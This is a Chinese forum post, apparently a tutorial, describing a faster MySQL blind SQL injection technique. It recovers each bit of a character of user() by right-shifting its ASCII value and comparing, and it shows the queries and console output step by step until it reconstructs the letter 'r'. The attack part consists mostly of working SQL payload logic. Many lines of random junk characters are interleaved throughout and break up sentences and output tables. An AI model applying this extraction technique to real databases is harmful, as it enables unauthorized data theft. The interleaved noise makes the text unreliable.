关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

, [$ I: Z+ p; C% x! V: E% K6 B9 }
1 L. V' ?2 k* j  }7 q1 J
2 a: Z! X% ~8 M  I% b5 e3 E下面将以查询mysql数据库当中user()的第一位为例:
. v3 q8 {; s2 r1 \6 y
; j) W' l. \) V  Q# @' X; G

ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
6 |  E1 s8 I- X9 b' p+ ~
& y, j% J: {) H# u* J/ ~6 u

7 M. z% I+ s/ \) M首先执行如下sql语句:
; m2 ]" m3 D# q; v  t
( _& ]+ t) ?, [- l. @, P* a5 X
5 K; f9 L( t" [# h# x8 R, V
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;



我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

* s" @1 t3 G3 B5 T# J; R, D3 t
* e) d6 K) L( D* r, X
1 S' D, D6 \. \第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

8 k6 s2 P0 a0 _( F: B$ r0 [

如果运算结果为1,说明第一位为0,不为1

3 C/ e- h# v$ [6 R/ s+ X% [

+————————————–+
7 `6 a4 m  i# s% ?" D
- L" U; Z- x, y| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

| 1 |
& W3 ^2 r5 G& ^
+————————————–+

6 d! T0 I0 g2 b, b3 S( d1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0
" y/ p0 z1 G- a# p% s


第二次我们来做6次右偏移来确定前两位



& T! ?- P& h8 O4 S- o前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

& P8 L( \3 g, A+————————————–+
% E4 G2 t' V2 q
6 @; ]! K; v' d- [% ^| (ascii((substr(user(),1,1))) >> 6)=0 |
- I! y3 u, R  r/ n5 h
+————————————–+

! x: S8 b$ V0 ]' D! P2 M| 0 |

+————————————–+
* d: V' F, p& `6 Y4 h6 e2 G4 K+ l% w9 L8 o
( ?( A# A2 _" b9 @" v2 X1 row in set (0.00 sec)

1 Q4 r/ i4 i  x9 [1 Q- g

6 u; C! h1 b8 i/ `0 `% v4 [# O  O结果为0,即第二位为1

4 H) a! v7 Y' h1 F1 C6 u* A' ?* t

开始猜测前三位为010或011
# L1 R) X* r3 C
9 G0 y# K: S% ~1 R
9 T$ x4 T* I+ l8 G
让我们看看010和011的ascii码是多少


" Z& B( d; m% X) Y! ?
! k, @5 W' x. E分别查询select b’011′ select b’010′
, ~3 p8 n+ ]2 _$ B2 g- s
7 f( w, P( t4 _3 G; F

$ x& W5 i! u& `) u获得结果 010 = 2 011 = 3
5 O8 h4 }6 P6 {0 d( t& S# K4 E


执行如下sql:
* y5 }# [* `; S$ O( e; V2 [3 F
  l$ O+ T1 M9 R4 x

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
* H$ `; E7 ~$ c
+————————————–+

4 }2 ]" ?0 X! Y+ W3 e4 a6 {| (ascii((substr(user(),1,1))) >> 5)=2 |
1 P+ R7 U( I' k0 s$ _- I( H9 V
+————————————–+
4 y: Y5 U( d# B. G" H' C
/ _9 K& Y% J  w# ~2 H& b- t| 0 |

  Z* P- U! n3 {. K, {, J1 W! [- g7 P+————————————–+
$ I# y  r( J+ O. n
即前三位不为010,而是011
: j& {1 _0 C$ C0 i1 D0 f4 [
+ p9 |6 C: x  s4 [) O) Z
* \( S" E7 [1 h, K: H; b/ h
直到获得最后一位
* \. d% s* |9 D8 {

) E# T+ u. K1 d4 I& a* H+ j
4 t& {- ]; A  V9 Q最终结果为:01110010
- i: \: w: |: X3 B) ~2 [0 O- c; E
* X5 {  |. Z3 `6 J

转换一下:


0 E( ?  J" z) P9 j0 m8 k3 Q
select b’01110010′
1 J, s; _' {$ ?  i

/ ~0 n) Z0 w" w1 s5 t
- E1 E4 B: p* e查询结果

7 _8 ]9 @$ y2 |$ D

; K; \3 u. H  n; X! w. \+————-+

9 a  u5 R1 z* M6 ~| b’01110010′ |
+ o( d6 U3 X' r% W' o
% {2 {& a3 }$ Z; u! ?# z* q+————-+
' h$ S; L1 ~& o; m. _  Q: W. \
* M& ?, J8 j: t' K- s| r |

+————-+
4 n! R3 G5 v9 M: l7 X$ \6 r6 n
1 row in set (0.00 sec)
$ j- n' i% g: R6 M' P

1 E8 R8 }3 X1 Y8 \; J$ @; k- N
, X7 |. V- N4 W( I2 B( k这样我们就获得了user()的第一位.其它位依此类推
( ^" G7 g) r# r